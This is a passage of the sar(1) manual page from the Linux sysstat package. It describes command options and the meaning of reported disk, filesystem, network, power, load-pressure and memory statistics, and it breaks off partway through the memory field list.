tps
Total number of transfers per second that were issued to physical devices. A transfer is an I/O request to a physical device. Multiple logical requests can be combined into a single I/O request to the device. A transfer is of indeterminate size.

rtps
Total number of read requests per second issued to physical devices.

wtps
Total number of write requests per second issued to physical devices.

dtps
Total number of discard requests per second issued to physical devices.

bread/s
Total amount of data read from the devices in blocks per second. Blocks are equivalent to sectors and therefore have a size of 512 bytes.

bwrtn/s
Total amount of data written to devices in blocks per second.

bdscd/s
Total amount of data discarded for devices in blocks per second.

-C
When reading data from a file, tell **sar **to display comments that have been inserted by sadc.

-D
Use *saYYYYMMDD *instead of saDD as the standard system activity daily data file name. This option works only when used in conjunction with option **-o **to save data to file.

-d
Report activity for each block device. When data are displayed, the device name is displayed as it (should) appear in /dev. **sar **uses data in */sys *to determine the device name based on its major and minor numbers. If this name resolution fails, **sar **will use name mapping controlled by */etc/sysstat/sysstat.ioconf *file. Persistent device names can also be printed if option -j is used (see below). Statistics for all devices are displayed unless a restricted list is specified using option –dev= (see corresponding option entry). Note that disk activity depends on sadc’s options **-S DISK **and -S XDISK to be collected. The following values are displayed:

tps
Total number of transfers per second that were issued to physical devices. A transfer is an I/O request to a physical device. Multiple logical requests can be combined into a single I/O request to the device. A transfer is of indeterminate size.

rkB/s
Number of kilobytes read from the device per second.

wkB/s
Number of kilobytes written to the device per second.

dkB/s
Number of kilobytes discarded for the device per second.

areq-sz
The average size (in kilobytes) of the I/O requests that were issued to the device.
Note: In previous versions, this field was known as avgrq-sz and was expressed in sectors.

aqu-sz
The average queue length of the requests that were issued to the device.
Note: In previous versions, this field was known as avgqu-sz.

await
The average time (in milliseconds) for I/O requests issued to the device to be served. This includes the time spent by the requests in queue and the time spent servicing them.

%util
Percentage of elapsed time during which I/O requests were issued to the device (bandwidth utilization for the device). Device saturation occurs when this value is close to 100% for devices serving requests serially. But for devices serving requests in parallel, such as RAID arrays and modern SSDs, this number does not reflect their performance limits.

–dec={ 0 | 1 | 2 }
Specify the number of decimal places to use (0 to 2, default value is 2).

**–dev=**dev_list
Specify the block devices for which statistics are to be displayed by sar. *dev_list *is a list of comma-separated device names.

-e [ hh:mm[:ss] ]
**-e [ ***seconds_since_the_epoch *]

Set the ending time of the report. The default ending time is 18:00:00. Hours must be given in 24-hour format, or as the number of seconds since the epoch (given as a 10 digit number). This option can be used when data are read from or written to a file (options **-f **or -o).

-F [ MOUNT ]
Display statistics for currently mounted filesystems. Pseudo-filesystems are ignored. At the end of the report, sar will display a summary of all those filesystems. Use of the MOUNT parameter keyword indicates that mountpoint will be reported instead of filesystem device. Statistics for all filesystems are displayed unless a restricted list is specified using option –fs= (see corresponding option entry). Note that filesystems statistics depend on sadc’s option **-S XDISK ** to be collected.

The following values are displayed:

MBfsfree
Total amount of free space in megabytes (including space available only to privileged user).

MBfsused
Total amount of space used in megabytes.

%fsused
Percentage of filesystem space used, as seen by a privileged user.

%ufsused
Percentage of filesystem space used, as seen by an unprivileged user.

Ifree
Total number of free file nodes in filesystem.

Iused
Total number of file nodes used in filesystem.

%Iused
Percentage of file nodes used in filesystem.

**-f [ ***filename *]
Extract records from *filename *(created by the **-o **filename flag). The default value of the filename parameter is the current standard system activity daily data file. If filename is a directory instead of a plain file then it is considered as the directory where the standard system activity daily data files are located. Option **-f **is exclusive of option -o.

**–fs=**fs_list
Specify the filesystems for which statistics are to be displayed by sar. fs_list is a list of comma-separated filesystem names or mountpoints.

-H
Report hugepages utilization statistics. The following values are displayed:

kbhugfree
Amount of hugepages memory in kilobytes that is not yet allocated.

kbhugused
Amount of hugepages memory in kilobytes that has been allocated.

%hugused
Percentage of total hugepages memory that has been allocated.

kbhugrsvd
Amount of reserved hugepages memory in kilobytes.

kbhugsurp
Amount of surplus hugepages memory in kilobytes.

-h
This option is equivalent to specifying –pretty –human.

–help
Display a short help message then exit.

–human
Print sizes in human readable format (e.g. 1.0k, 1.2M, etc.) The units displayed with this option supersede any other default units (e.g. kilobytes, sectors…) associated with the metrics.

-I [ SUM | ALL ]
Report statistics for interrupts. The values displayed are the number of interrupts per second for the given processor or among all processors. A list of interrupts can be specified using –int= (see this option). The SUM keyword indicates that the total number of interrupts received per second is to be displayed. The ALL keyword indicates that statistics from all interrupts are to be reported (this is the default). Note that interrupts statistics depend on sadc’s option -S INT to be collected.

**-i **interval
Select data records at seconds as close as possible to the number specified by the *interval *parameter.

**–iface=**iface_list
Specify the network interfaces for which statistics are to be displayed by sar. iface_list is a list of comma-separated interface names.

**–int=**int_list
Specify the interrupts names for which statistics are to be displayed by sar. int_list is a list of comma-separated values or range of values (e.g., 0-16,35,40-").

-j { SID | ID | LABEL | PATH | UUID | … }
Display persistent device names. Use this option in conjunction with option -d. Keywords ID, LABEL, etc. specify the type of the persistent name. These keywords are not limited, only prerequisite is that directory with required persistent names is present in /dev/disk. Keyword SID tries to get a stable identifier to use as the device name. A stable identifier won’t change across reboots for the same physical device. If it exists, this identifier is normally the WWN (World Wide Name) of the device, as read from the */dev/disk/by-id *directory.

-m { keyword[,…] | ALL }
Report power management statistics. Note that these statistics depend on sadc’s option **-S POWER **to be collected.

Possible keywords are BAT, CPU, FAN, FREQ, IN, **TEMP **and USB.

With the BAT keyword, statistics about batteries capacity are reported. The following values are displayed:

%cap
Battery capacity.

cap/min
Capacity lost or gained per minute by the battery.

status
Charging status of the battery: ↑ (full), ↗ (charging), → (not charging), ↘ (discharging), ? (unknown).

With the CPU keyword, statistics about CPU are reported. The following value is displayed:

MHz
Instantaneous CPU clock frequency in MHz.

With the FAN keyword, statistics about fans speed are reported. The following values are displayed:

rpm
Fan speed expressed in revolutions per minute.

drpm
This field is calculated as the difference between current fan speed (rpm) and its low limit (fan_min).

DEVICE
Sensor device name.

With the FREQ keyword, statistics about CPU clock frequency are reported. The following value is displayed:

wghMHz
Weighted average CPU clock frequency in MHz. Note that the cpufreq-stats driver must be compiled in the kernel for this option to work.

With the IN keyword, statistics about voltage inputs are reported. The following values are displayed:

inV
Voltage input expressed in Volts.

%in
Relative input value. A value of 100% means that voltage input has reached its high limit (in_max) whereas a value of 0% means that it has reached its low limit (in_min).

DEVICE
Sensor device name.

With the TEMP keyword, statistics about devices temperature are reported. The following values are displayed:

degC
Device temperature expressed in degrees Celsius.

%temp
Relative device temperature. A value of 100% means that temperature has reached its high limit (temp_max).

DEVICE
Sensor device name.

With the **USB **keyword, the sar command takes a snapshot of all the USB devices currently plugged into the system. At the end of the report, sar will display a summary of all those USB devices. The following values are displayed:

BUS
Root hub number of the USB device.

idvendor
Vendor ID number (assigned by USB organization).

idprod
Product ID number (assigned by Manufacturer).

maxpower
Maximum power consumption of the device (expressed in mA).

manufact
Manufacturer name.

product
Product name.

The ALL keyword is equivalent to specifying all the keywords above and therefore all the power management statistics are reported.

-n { keyword[,…] | ALL }
Report network statistics.

Possible keywords are DEV, EDEV, FC, ICMP, EICMP, ICMP6, EICMP6, IP, EIP, IP6, EIP6, NFS, NFSD, SOCK, SOCK6, SOFT, TCP, ETCP, **UDP **and UDP6.

With the DEV keyword, statistics from the network devices are reported. Statistics for all network interfaces are displayed unless a restricted list is specified using option –iface= (see corresponding option entry). The following values are displayed:

IFACE
Name of the network interface for which statistics are reported.

rxpck/s
Total number of packets received per second.

txpck/s
Total number of packets transmitted per second.

rxkB/s
Total number of kilobytes received per second.

txkB/s
Total number of kilobytes transmitted per second.

rxcmp/s
Number of compressed packets received per second (for cslip etc.).

txcmp/s
Number of compressed packets transmitted per second.

rxmcst/s
Number of multicast packets received per second.

%ifutil
Utilization percentage of the network interface. For half-duplex interfaces, utilization is calculated using the sum of rxkB/s and txkB/s as a percentage of the interface speed. For full-duplex, this is the greater of rxkB/S or txkB/s.

With the EDEV keyword, statistics on failures (errors) from the network devices are reported. Statistics for all network interfaces are displayed unless a restricted list is specified using option –iface= (see corresponding option entry). The following values are displayed:

IFACE
Name of the network interface for which statistics are reported.

rxerr/s
Total number of bad packets received per second.

txerr/s
Total number of errors that happened per second while transmitting packets.

coll/s
Number of collisions that happened per second while transmitting packets.

rxdrop/s
Number of received packets dropped per second because of a lack of space in linux buffers.

txdrop/s
Number of transmitted packets dropped per second because of a lack of space in linux buffers.

txcarr/s
Number of carrier-errors that happened per second while transmitting packets.

rxfram/s
Number of frame alignment errors that happened per second on received packets.

rxfifo/s
Number of FIFO overrun errors that happened per second on received packets.

txfifo/s
Number of FIFO overrun errors that happened per second on transmitted packets.

With the FC keyword, statistics about fibre channel traffic are reported. Note that fibre channel statistics depend on sadc’s option -S DISK to be collected. The following values are displayed:

FCHOST
Name of the fibre channel host bus adapter (HBA) interface for which statistics are reported.

fch_rxf/s
The total number of frames received per second.

fch_txf/s
The total number of frames transmitted per second.

fch_rxw/s
The total number of transmission words received per second.

fch_txw/s
The total number of transmission words transmitted per second.

With the ICMP keyword, statistics about ICMPv4 network traffic are reported. Note that ICMPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

imsg/s
The total number of ICMP messages which the entity received per second [icmpInMsgs]. Note that this counter includes all those counted by ierr/s.

omsg/s
The total number of ICMP messages which this entity attempted to send per second [icmpOutMsgs]. Note that this counter includes all those counted by oerr/s.

iech/s
The number of ICMP Echo (request) messages received per second [icmpInEchos].

iechr/s
The number of ICMP Echo Reply messages received per second [icmpInEchoReps].

oech/s
The number of ICMP Echo (request) messages sent per second [icmpOutEchos].

oechr/s
The number of ICMP Echo Reply messages sent per second [icmpOutEchoReps].

itm/s
The number of ICMP Timestamp (request) messages received per second [icmpInTimestamps].

itmr/s
The number of ICMP Timestamp Reply messages received per second [icmpInTimestampReps].

otm/s
The number of ICMP Timestamp (request) messages sent per second [icmpOutTimestamps].

otmr/s
The number of ICMP Timestamp Reply messages sent per second [icmpOutTimestampReps].

iadrmk/s
The number of ICMP Address Mask Request messages received per second [icmpInAddrMasks].

iadrmkr/s
The number of ICMP Address Mask Reply messages received per second [icmpInAddrMaskReps].

oadrmk/s
The number of ICMP Address Mask Request messages sent per second [icmpOutAddrMasks].

oadrmkr/s
The number of ICMP Address Mask Reply messages sent per second [icmpOutAddrMaskReps].

With the EICMP keyword, statistics about ICMPv4 error messages are reported. Note that ICMPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

ierr/s
The number of ICMP messages per second which the entity received but determined as having ICMP-specific errors (bad ICMP checksums, bad length, etc.) [icmpInErrors].

oerr/s
The number of ICMP messages per second which this entity did not send due to problems discovered within ICMP such as a lack of buffers [icmpOutErrors].

idstunr/s
The number of ICMP Destination Unreachable messages received per second [icmpInDestUnreachs].

odstunr/s
The number of ICMP Destination Unreachable messages sent per second [icmpOutDestUnreachs].

itmex/s
The number of ICMP Time Exceeded messages received per second [icmpInTimeExcds].

otmex/s
The number of ICMP Time Exceeded messages sent per second [icmpOutTimeExcds].

iparmpb/s
The number of ICMP Parameter Problem messages received per second [icmpInParmProbs].

oparmpb/s
The number of ICMP Parameter Problem messages sent per second [icmpOutParmProbs].

isrcq/s
The number of ICMP Source Quench messages received per second [icmpInSrcQuenchs].

osrcq/s
The number of ICMP Source Quench messages sent per second [icmpOutSrcQuenchs].

iredir/s
The number of ICMP Redirect messages received per second [icmpInRedirects].

oredir/s
The number of ICMP Redirect messages sent per second [icmpOutRedirects].

With the ICMP6 keyword, statistics about ICMPv6 network traffic are reported. Note that ICMPv6 statistics depend on sadc’s option -S IPV6 to be collected. The following values are displayed (formal SNMP names between square brackets):

imsg6/s
The total number of ICMP messages received by the interface per second which includes all those counted by ierr6/s [ipv6IfIcmpInMsgs].

omsg6/s
The total number of ICMP messages which this interface attempted to send per second [ipv6IfIcmpOutMsgs].

iech6/s
The number of ICMP Echo (request) messages received by the interface per second [ipv6IfIcmpInEchos].

iechr6/s
The number of ICMP Echo Reply messages received by the interface per second [ipv6IfIcmpInEchoReplies].

oechr6/s
The number of ICMP Echo Reply messages sent by the interface per second [ipv6IfIcmpOutEchoReplies].

igmbq6/s
The number of ICMPv6 Group Membership Query messages received by the interface per second [ipv6IfIcmpInGroupMembQueries].

igmbr6/s
The number of ICMPv6 Group Membership Response messages received by the interface per second [ipv6IfIcmpInGroupMembResponses].

ogmbr6/s
The number of ICMPv6 Group Membership Response messages sent per second [ipv6IfIcmpOutGroupMembResponses].

igmbrd6/s
The number of ICMPv6 Group Membership Reduction messages received by the interface per second [ipv6IfIcmpInGroupMembReductions].

ogmbrd6/s
The number of ICMPv6 Group Membership Reduction messages sent per second [ipv6IfIcmpOutGroupMembReductions].

irtsol6/s
The number of ICMP Router Solicit messages received by the interface per second [ipv6IfIcmpInRouterSolicits].

ortsol6/s
The number of ICMP Router Solicitation messages sent by the interface per second [ipv6IfIcmpOutRouterSolicits].

irtad6/s
The number of ICMP Router Advertisement messages received by the interface per second [ipv6IfIcmpInRouterAdvertisements].

inbsol6/s
The number of ICMP Neighbor Solicit messages received by the interface per second [ipv6IfIcmpInNeighborSolicits].

onbsol6/s
The number of ICMP Neighbor Solicitation messages sent by the interface per second [ipv6IfIcmpOutNeighborSolicits].

inbad6/s
The number of ICMP Neighbor Advertisement messages received by the interface per second [ipv6IfIcmpInNeighborAdvertisements].

onbad6/s
The number of ICMP Neighbor Advertisement messages sent by the interface per second [ipv6IfIcmpOutNeighborAdvertisements].

With the EICMP6 keyword, statistics about ICMPv6 error messages are reported. Note that ICMPv6 statistics depend on sadc’s option -S IPV6 to be collected. The following values are displayed (formal SNMP names between square brackets):

ierr6/s
The number of ICMP messages per second which the interface received but determined as having ICMP-specific errors (bad ICMP checksums, bad length, etc.) [ipv6IfIcmpInErrors]

idtunr6/s
The number of ICMP Destination Unreachable messages received by the interface per second [ipv6IfIcmpInDestUnreachs].

odtunr6/s
The number of ICMP Destination Unreachable messages sent by the interface per second [ipv6IfIcmpOutDestUnreachs].

itmex6/s
The number of ICMP Time Exceeded messages received by the interface per second [ipv6IfIcmpInTimeExcds].

otmex6/s
The number of ICMP Time Exceeded messages sent by the interface per second [ipv6IfIcmpOutTimeExcds].

iprmpb6/s
The number of ICMP Parameter Problem messages received by the interface per second [ipv6IfIcmpInParmProblems].

oprmpb6/s
The number of ICMP Parameter Problem messages sent by the interface per second [ipv6IfIcmpOutParmProblems].

iredir6/s
The number of Redirect messages received by the interface per second [ipv6IfIcmpInRedirects].

oredir6/s
The number of Redirect messages sent by the interface by second [ipv6IfIcmpOutRedirects].

ipck2b6/s
The number of ICMP Packet Too Big messages received by the interface per second [ipv6IfIcmpInPktTooBigs].

opck2b6/s
The number of ICMP Packet Too Big messages sent by the interface per second [ipv6IfIcmpOutPktTooBigs].

With the IP keyword, statistics about IPv4 network traffic are reported. Note that IPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

irec/s
The total number of input datagrams received from interfaces per second, including those received in error [ipInReceives].

fwddgm/s
The number of input datagrams per second, for which this entity was not their final IP destination, as a result of which an attempt was made to find a route to forward them to that final destination [ipForwDatagrams].

idel/s
The total number of input datagrams successfully delivered per second to IP user-protocols (including ICMP) [ipInDelivers].

orq/s
The total number of IP datagrams which local IP user-protocols (including ICMP) supplied per second to IP in requests for transmission [ipOutRequests]. Note that this counter does not include any datagrams counted in fwddgm/s.

asmrq/s
The number of IP fragments received per second which needed to be reassembled at this entity [ipReasmReqds].

asmok/s
The number of IP datagrams successfully re-assembled per second [ipReasmOKs].

fragok/s
The number of IP datagrams that have been successfully fragmented at this entity per second [ipFragOKs].

fragcrt/s
The number of IP datagram fragments that have been generated per second as a result of fragmentation at this entity [ipFragCreates].

With the EIP keyword, statistics about IPv4 network errors are reported. Note that IPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

ihdrerr/s
The number of input datagrams discarded per second due to errors in their IP headers, including bad checksums, version number mismatch, other format errors, time-to-live exceeded, errors discovered in processing their IP options, etc. [ipInHdrErrors]

iadrerr/s
The number of input datagrams discarded per second because the IP address in their IP header’s destination field was not a valid address to be received at this entity. This count includes invalid addresses (e.g., 0.0.0.0) and addresses of unsupported Classes (e.g., Class E). For entities which are not IP routers and therefore do not forward datagrams, this counter includes datagrams discarded because the destination address was not a local address [ipInAddrErrors].

iukwnpr/s
The number of locally-addressed datagrams received successfully but discarded per second because of an unknown or unsupported protocol [ipInUnknownProtos].

idisc/s
The number of input IP datagrams per second for which no problems were encountered to prevent their continued processing, but which were discarded (e.g., for lack of buffer space) [ipInDiscards]. Note that this counter does not include any datagrams discarded while awaiting re-assembly.

odisc/s
The number of output IP datagrams per second for which no problem was encountered to prevent their transmission to their destination, but which were discarded (e.g., for lack of buffer space) [ipOutDiscards]. Note that this counter would include datagrams counted in fwddgm/s if any such packets met this (discretionary) discard criterion.

onort/s
The number of IP datagrams discarded per second because no route could be found to transmit them to their destination [ipOutNoRoutes]. Note that this counter includes any packets counted in fwddgm/s which meet this ’no-route’ criterion. Note that this includes any datagrams which a host cannot route because all of its default routers are down.

asmf/s
The number of failures detected per second by the IP re-assembly algorithm (for whatever reason: timed out, errors, etc) [ipReasmFails]. Note that this is not necessarily a count of discarded IP fragments since some algorithms can lose track of the number of fragments by combining them as they are received.

fragf/s
The number of IP datagrams that have been discarded per second because they needed to be fragmented at this entity but could not be, e.g., because their Don’t Fragment flag was set [ipFragFails].

With the IP6 keyword, statistics about IPv6 network traffic are reported. Note that IPv6 statistics depend on sadc’s option -S IPV6 to be collected. The following values are displayed (formal SNMP names between square brackets):

irec6/s
The total number of input datagrams received from interfaces per second, including those received in error [ipv6IfStatsInReceives].

fwddgm6/s
The number of output datagrams per second which this entity received and forwarded to their final destinations [ipv6IfStatsOutForwDatagrams].

idel6/s
The total number of datagrams successfully delivered per second to IPv6 user-protocols (including ICMP) [ipv6IfStatsInDelivers].

orq6/s
The total number of IPv6 datagrams which local IPv6 user-protocols (including ICMP) supplied per second to IPv6 in requests for transmission [ipv6IfStatsOutRequests]. Note that this counter does not include any datagrams counted in fwddgm6/s.

asmrq6/s
The number of IPv6 fragments received per second which needed to be reassembled at this interface [ipv6IfStatsReasmReqds].

asmok6/s
The number of IPv6 datagrams successfully reassembled per second [ipv6IfStatsReasmOKs].

imcpck6/s
The number of multicast packets received per second by the interface [ipv6IfStatsInMcastPkts].

omcpck6/s
The number of multicast packets transmitted per second by the interface [ipv6IfStatsOutMcastPkts].

fragok6/s
The number of IPv6 datagrams that have been successfully fragmented at this output interface per second [ipv6IfStatsOutFragOKs].

fragcr6/s
The number of output datagram fragments that have been generated per second as a result of fragmentation at this output interface [ipv6IfStatsOutFragCreates].

With the EIP6 keyword, statistics about IPv6 network errors are reported. Note that IPv6 statistics depend on sadc’s option -S IPV6 to be collected. The following values are displayed (formal SNMP names between square brackets):

ihdrer6/s
The number of input datagrams discarded per second due to errors in their IPv6 headers, including version number mismatch, other format errors, hop count exceeded, errors discovered in processing their IPv6 options, etc. [ipv6IfStatsInHdrErrors]

iadrer6/s
The number of input datagrams discarded per second because the IPv6 address in their IPv6 header’s destination field was not a valid address to be received at this entity. This count includes invalid addresses (e.g., ::0) and unsupported addresses (e.g., addresses with unallocated prefixes). For entities which are not IPv6 routers and therefore do not forward datagrams, this counter includes datagrams discarded because the destination address was not a local address [ipv6IfStatsInAddrErrors].

iukwnp6/s
The number of locally-addressed datagrams received successfully but discarded per second because of an unknown or unsupported protocol [ipv6IfStatsInUnknownProtos].

i2big6/s
The number of input datagrams that could not be forwarded per second because their size exceeded the link MTU of outgoing interface [ipv6IfStatsInTooBigErrors].

idisc6/s
The number of input IPv6 datagrams per second for which no problems were encountered to prevent their continued processing, but which were discarded (e.g., for lack of buffer space) [ipv6IfStatsInDiscards]. Note that this counter does not include any datagrams discarded while awaiting re-assembly.

odisc6/s
The number of output IPv6 datagrams per second for which no problem was encountered to prevent their transmission to their destination, but which were discarded (e.g., for lack of buffer space) [ipv6IfStatsOutDiscards]. Note that this counter would include datagrams counted in fwddgm6/s if any such packets met this (discretionary) discard criterion.

inort6/s
The number of input datagrams discarded per second because no route could be found to transmit them to their destination [ipv6IfStatsInNoRoutes].

onort6/s
The number of locally generated IP datagrams discarded per second because no route could be found to transmit them to their destination [unknown formal SNMP name].

asmf6/s
The number of failures detected per second by the IPv6 re-assembly algorithm (for whatever reason: timed out, errors, etc.) [ipv6IfStatsReasmFails]. Note that this is not necessarily a count of discarded IPv6 fragments since some algorithms can lose track of the number of fragments by combining them as they are received.

fragf6/s
The number of IPv6 datagrams that have been discarded per second because they needed to be fragmented at this output interface but could not be [ipv6IfStatsOutFragFails].

itrpck6/s
The number of input datagrams discarded per second because datagram frame didn’t carry enough data [ipv6IfStatsInTruncatedPkts].

With the NFS keyword, statistics about NFS client activity are reported. The following values are displayed:

call/s
Number of RPC requests made per second.

retrans/s
Number of RPC requests per second, those which needed to be retransmitted (for example because of a server timeout).

read/s
Number of ‘read’ RPC calls made per second.

write/s
Number of ‘write’ RPC calls made per second.

access/s
Number of ‘access’ RPC calls made per second.

getatt/s
Number of ‘getattr’ RPC calls made per second.

With the NFSD keyword, statistics about NFS server activity are reported. The following values are displayed:

scall/s
Number of RPC requests received per second.

badcall/s
Number of bad RPC requests received per second, those whose processing generated an error.

packet/s
Number of network packets received per second.

udp/s
Number of UDP packets received per second.

tcp/s
Number of TCP packets received per second.

hit/s
Number of reply cache hits per second.

miss/s
Number of reply cache misses per second.

sread/s
Number of ‘read’ RPC calls received per second.

swrite/s
Number of ‘write’ RPC calls received per second.

saccess/s
Number of ‘access’ RPC calls received per second.

sgetatt/s
Number of ‘getattr’ RPC calls received per second.

With the SOCK keyword, statistics on sockets in use are reported (IPv4). The following values are displayed:

totsck
Total number of sockets used by the system.

tcpsck
Number of TCP sockets currently in use.

udpsck
Number of UDP sockets currently in use.

rawsck
Number of RAW sockets currently in use.

ip-frag
Number of IP fragments currently in queue.

tcp-tw
Number of TCP sockets in TIME_WAIT state.

With the SOCK6 keyword, statistics on sockets in use are reported (IPv6). Note that IPv6 statistics depend on sadc’s option -S IPV6 to be collected. The following values are displayed:

tcp6sck
Number of TCPv6 sockets currently in use.

udp6sck
Number of UDPv6 sockets currently in use.

raw6sck
Number of RAWv6 sockets currently in use.

ip6-frag
Number of IPv6 fragments currently in use.

With the SOFT keyword, statistics about software-based network processing are reported. The following values are displayed:

total/s
The total number of network frames processed per second.

dropd/s
The total number of network frames dropped per second because there was no room on the processing queue.

squeezd/s
The number of times the softirq handler function terminated per second because its budget was consumed or the time limit was reached, but more work could have been done.

rx_rps/s
The number of times the CPU has been woken up per second to process packets via an inter-processor interrupt.

flw_lim/s
The number of times the flow limit has been reached per second. Flow limiting is an optional RPS feature that can be used to limit the number of packets queued to the backlog for each flow to a certain amount. This can help ensure that smaller flows are processed even though much larger flows are pushing packets in.

blg_len
The length of the network backlog.

With the TCP keyword, statistics about TCPv4 network traffic are reported. Note that TCPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

active/s
The number of times TCP connections have made a direct transition to the SYN-SENT state from the CLOSED state per second [tcpActiveOpens].

passive/s
The number of times TCP connections have made a direct transition to the SYN-RCVD state from the LISTEN state per second [tcpPassiveOpens].

iseg/s
The total number of segments received per second, including those received in error [tcpInSegs]. This count includes segments received on currently established connections.

oseg/s
The total number of segments sent per second, including those on current connections but excluding those containing only retransmitted octets [tcpOutSegs].

With the ETCP keyword, statistics about TCPv4 network errors are reported. Note that TCPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

atmptf/s
The number of times per second TCP connections have made a direct transition to the CLOSED state from either the SYN-SENT state or the SYN-RCVD state, plus the number of times per second TCP connections have made a direct transition to the LISTEN state from the SYN-RCVD state [tcpAttemptFails].

estres/s
The number of times per second TCP connections have made a direct transition to the CLOSED state from either the ESTABLISHED state or the CLOSE-WAIT state [tcpEstabResets].

retrans/s
The total number of segments retransmitted per second - that is, the number of TCP segments transmitted containing one or more previously transmitted octets [tcpRetransSegs].

isegerr/s
The total number of segments received in error (e.g., bad TCP checksums) per second [tcpInErrs].

orsts/s
The number of TCP segments sent per second containing the RST flag [tcpOutRsts].

With the UDP keyword, statistics about UDPv4 network traffic are reported. Note that UDPv4 statistics depend on sadc’s option -S SNMP to be collected. The following values are displayed (formal SNMP names between square brackets):

idgm/s
The total number of UDP datagrams delivered per second to UDP users [udpInDatagrams].

odgm/s
The total number of UDP datagrams sent per second from this entity [udpOutDatagrams].

noport/s
The total number of received UDP datagrams per second for which there was no application at the destination port [udpNoPorts].

idgmerr/s
The number of received UDP datagrams per second that could not be delivered for reasons other than the lack of an application at the destination port [udpInErrors].

With the UDP6 keyword, statistics about UDPv6 network traffic are reported. Note that UDPv6 statistics depend on sadc’s option -S IPV6 to be collected. The following values are displayed (formal SNMP names between square brackets):

idgm6/s
The total number of UDP datagrams delivered per second to UDP users [udpInDatagrams].

odgm6/s
The total number of UDP datagrams sent per second from this entity [udpOutDatagrams].

noport6/s
The total number of received UDP datagrams per second for which there was no application at the destination port [udpNoPorts].

idgmer6/s
The number of received UDP datagrams per second that could not be delivered for reasons other than the lack of an application at the destination port [udpInErrors].

The ALL keyword is equivalent to specifying all the keywords above and therefore all the network activities are reported.

**-o [ ***filename *]
Save the readings in the file in binary form. Each reading is in a separate record. The default value of the filename parameter is the current standard system activity daily data file. If filename is a directory instead of a plain file then it is considered as the directory where the standard system activity daily data files are located. Option **-o **is exclusive of option -f. All the data available from the kernel are saved in the file (in fact, **sar **calls its data collector **sadc **with the option -S ALL. See sadc(8) manual page).

**-P { ***cpu_list *| ALL }
Report per-processor statistics for the specified processor or processors. cpu_list is a list of comma-separated values or range of values (e.g., 0,2,4-7,12-). Note that processor 0 is the first processor, and processor all is the global average among all processors. Specifying the ALL keyword reports statistics for each individual processor, and globally for all processors. Offline processors are not displayed.

-p, –pretty
Make reports easier to read by a human. This option may be especially useful when displaying e.g., network interfaces or block devices statistics.

-q [ keyword[,…] | ALL ]
Report system load and pressure-stall statistics.

Possible keywords are CPU, IO, LOAD, **MEM **and PSI.

With the CPU keyword, CPU pressure statistics are reported. The following values are displayed:

%scpu-10
Percentage of the time that at least some runnable tasks were delayed because the CPU was unavailable to them, over the last 10 second window.

%scpu-60
Percentage of the time that at least some runnable tasks were delayed because the CPU was unavailable to them, over the last 60 second window.

%scpu-300
Percentage of the time that at least some runnable tasks were delayed because the CPU was unavailable to them, over the last 300 second window.

%scpu
Percentage of the time that at least some runnable tasks were delayed because the CPU was unavailable to them, over the last time interval.

With the IO keyword, I/O pressure statistics are reported. The following values are displayed:

%sio-10
Percentage of the time that at least some tasks lost waiting for I/O, over the last 10 second window.

%sio-60
Percentage of the time that at least some tasks lost waiting for I/O, over the last 60 second window.

%sio-300
Percentage of the time that at least some tasks lost waiting for I/O, over the last 300 second window.

%sio
Percentage of the time that at least some tasks lost waiting for I/O, over the last time interval.

%fio-10
Percentage of the time during which all non-idle tasks were stalled waiting for I/O, over the last 10 second window.

%fio-60
Percentage of the time during which all non-idle tasks were stalled waiting for I/O, over the last 60 second window.

%fio-300
Percentage of the time during which all non-idle tasks were stalled waiting for I/O, over the last 300 second window.

%fio
Percentage of the time during which all non-idle tasks were stalled waiting for I/O, over the last time interval.

With the LOAD keyword, queue length and load averages statistics are reported. The following values are displayed:

runq-sz
Run queue length (number of tasks running or waiting for run time).

plist-sz
Number of tasks in the task list.

ldavg-1
System load average for the last minute. The load average is calculated as the average number of runnable or running tasks (R state), and the number of tasks in uninterruptible sleep (D state) over the specified interval.

ldavg-5
System load average for the past 5 minutes.

ldavg-15
System load average for the past 15 minutes.

blocked
Number of tasks currently blocked, waiting for I/O to complete.

With the MEM keyword, memory pressure statistics are reported. The following values are displayed:

%smem-10
Percentage of the time during which at least some tasks were waiting for memory resources, over the last 10 second window.

%smem-60
Percentage of the time during which at least some tasks were waiting for memory resources, over the last 60 second window.

%smem-300
Percentage of the time during which at least some tasks were waiting for memory resources, over the last 300 second window.

%smem
Percentage of the time during which at least some tasks were waiting for memory resources, over the last time interval.

%fmem-10
Percentage of the time during which all non-idle tasks were stalled waiting for memory resources, over the last 10 second window.

%fmem-60
Percentage of the time during which all non-idle tasks were stalled waiting for memory resources, over the last 60 second window.

%fmem-300
Percentage of the time during which all non-idle tasks were stalled waiting for memory resources, over the last 300 second window.

%fmem
Percentage of the time during which all non-idle tasks were stalled waiting for memory resources, over the last time interval.

The PSI keyword is equivalent to specifying CPU, IO and MEM keywords together and therefore all the pressure-stall statistics are reported.

The ALL keyword is equivalent to specifying all the keywords above and therefore all the statistics are reported.

-r [ ALL ]
Report memory utilization statistics. The ALL keyword indicates that all the memory fields should be displayed. The following values may be displayed:

kbmemfree
Amount of free memory available in kilobytes.

kbavail
Estimate of how much memory in kilobytes is available for starting new applications, without swapping. The estimate takes into account that the system needs some page cache to function well, and that not all reclaimable slab will be reclaimable, due to items being in use. The impact of those factors will vary from system to system.

kbmemused
Amount of used memory in kilobytes (calculated as total installed memory - kbmemfree - kbbuffers - kbcached - kbslab).

%memused
Percentage of used memory.

kbbuffers
Amount of memory used as buffers by the kernel in kilobytes.

kbcached
Amount of memory used to cache data by the kernel in kilobytes.

kbcommit
Amount of memory in kilobytes needed for current workload. This is an estimate of how much RAM/swap is needed to guarantee that there never is out of memory.

%commit
Percentage of memory needed for current workload in relation to the total amount of memory (RAM+swap). This number may be greater than 100% because the kernel usually overcommits memory.

kbactive
Amount of active memory in kilobytes (memory that has been used more recently and usually not reclaimed unless absolutely necessary).

kbinact
Amount of inactive memory in kilobytes (memory which has been less recently used. It is more eligible to be reclaimed for other purposes).

kbdirty
Amount of memory in kilobytes waiting to get written back to the disk.

kbanonpg
Amount of non-file backed pages in kilobytes mapped into userspace page tables.

kbslab
